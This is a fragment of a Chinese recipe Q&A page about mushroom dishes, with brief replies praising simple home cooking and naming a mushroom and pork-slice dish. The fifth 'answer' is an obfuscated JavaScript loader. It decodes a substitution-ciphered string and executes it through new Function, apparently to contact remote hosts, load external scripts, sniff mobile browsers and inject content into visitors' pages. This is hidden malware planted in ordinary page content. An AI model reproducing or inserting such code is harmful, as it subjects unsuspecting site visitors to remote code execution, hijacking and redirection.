个人比较喜欢吃香菇,上面的菜都很家常,也很好做,谢谢观赏

回答4:

香菇肉片,

回答5:

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();